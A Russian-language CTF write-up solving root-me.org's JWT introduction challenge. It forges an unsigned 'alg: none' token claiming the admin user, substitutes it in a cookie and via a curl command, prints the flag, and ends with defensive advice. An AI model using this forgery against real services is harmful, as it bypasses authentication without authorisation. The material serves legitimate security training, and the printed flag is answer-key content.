Перейти к основному содержанию

CTF — JSON Web Token (JWT) - Introduction

CTF

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "JSON Web Token (JWT) - Introduction". За решение задачки дают 20 баллов, сложнее начального уровня.

ctf

Нам предлагают стать администратором, чтобы получить флаг. По названию задания и ресурсам можно догадаться, что работать придётся с JWT.

JSON Web Token (JWT) — это токен доступа для аутентификации в клиент-серверных приложениях. Представляет собой строку вида "header.payload.signature". Где:

  • header — заголовок. JSON объект в формате Base64, в котором передаются данные для описания самого токена, например, {"typ":"JWT","alg":"HS512"}.
  • payload — полезная нагрузка. JSON объект в формате Base64, в котором передаются данные пользователя, например, {"username":"v.pupkin","state":"superadmin"}.
  • signature — подпись. В формате Base64. Вычисляется из header + payload + secret, где secret — секретный ключ известный web серверу и серверу аутентификации.

JWT выглядит так:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk

Ссылки

Base64 encode/decode

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch58/

ctf

Видим форму аутентификации. Есть возможность выполнить гостевой вход. Нажимаем Login as Guest!

ctf

Welcome guest to this website! :)

Видимо, мы выполнили аутентификацию под пользователем guest. Раз задачка на JWT, то этот токен должен где-то лежать.

ctf

Собственно, поиски JWT были недолгими. Есть Cookie jwt:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.OnuZnYMdetcg7AWGV6WURn8CFSfas6AQej4V9M13nsk

Мы можем прочитать первую и вторую часть токена, header и payload. Для этого нам потребуется Base64 декодер. Я один такой написал:

Base64 encode/decode

Берём заголовок eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9 и декодируем, поучается:

{"typ":"JWT","alg":"HS256"}

Из заголовка становится понятно, что для получения подписи используется алгоритм шифрования HS256.

Берём полезную нагрузку eyJ1c2VybmFtZSI6Imd1ZXN0In0 и декодируем, поучается:

{"username":"guest"}

Ага, в полезной нагрузке передаётся имя пользователя guest. Было бы неплохо передать там другое имя, например, admin. Зная секретный ключ можно было бы сформировать новый токен JWT с нужным нам именем пользователя, однако, нигде на сайте задания секретный ключ я не нашёл.

Но есть другой способ обойти проблему. Помимо подписанных токенов JWT бывают и неподписанные. Неподписанные токены не содержат третью часть и не используют шифрование. Мы можем проверить, использует ли сервер проверку на доступные алгоритмы шифрования. Для отключения шифрования вместо алгоритма нужно указать none.

Формируем JSON для заголовка без алгоритма шифрования:

{"typ":"JWT","alg":"none"}

Конвертируем заголовок в Base64:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0

Формируем JSON для полезной нагрузки с пользователем admin:

{"username":"admin"}

Конвертируем полезную нагрузку в Base64:

eyJ1c2VybmFtZSI6ImFkbWluIn0

Формируем неподписанный JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0

Если на сервере нет проверки на алгоритм шифрования, то он должен принять наш токен. Подменим гостевой токен на наш. Для изменения cookie использую расширение EditThisCookie.

ctf

Меняю токен JWT.

ctf

Обновляю страницу, и... Welcome admin to this website

ctf

А вот и флаг: S1gn4tuR3_v3r1f1c4t10N_1S_1MP0Rt4n7

Валидируем.

ctf

Флаг подходит, зарабатываем 20 очков.

Безопасность

  1. Если на сервере не стоит проверка на наличие подписи у токена, то злоумышленник может указывать собственные значения в полезной нагрузке. Проблема решается простым отбрасыванием неподписанных объектов. Что м с вами успешно и сделали. А ещё мы познакомились с технологией аутентификации с помощью токенов JWT.
  2. Злоумышленник может использовать JWT в атаках типа CSRF. Одним из методов борьбы с CSRF является добавление специальных заголовков с зашифрованной информацией, подтверждающей отправку запроса с доверенного сервера. Таким образом, если JWT используется не в качестве cookie, CSRF-атака становится невозможной.
  3. Если JWT хранится в DOM-хранилище, то система может быть подвержена XSS-атаке. При использовании cookie можно выставить HttpOnly-флаг, который предотвращает доступ JavaScript к хранилищу. Таким образом, злоумышленник не сможет извлечь токен и приложение становится защищенным от XSS.

Ещё один способ получить флаг, передав JWT в cookie с помощью curl:

curl -H "cookie: jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0" \
-v http://challenge01.root-me.org/web-serveur/ch58/

ctf

Теги

 

Похожие материалы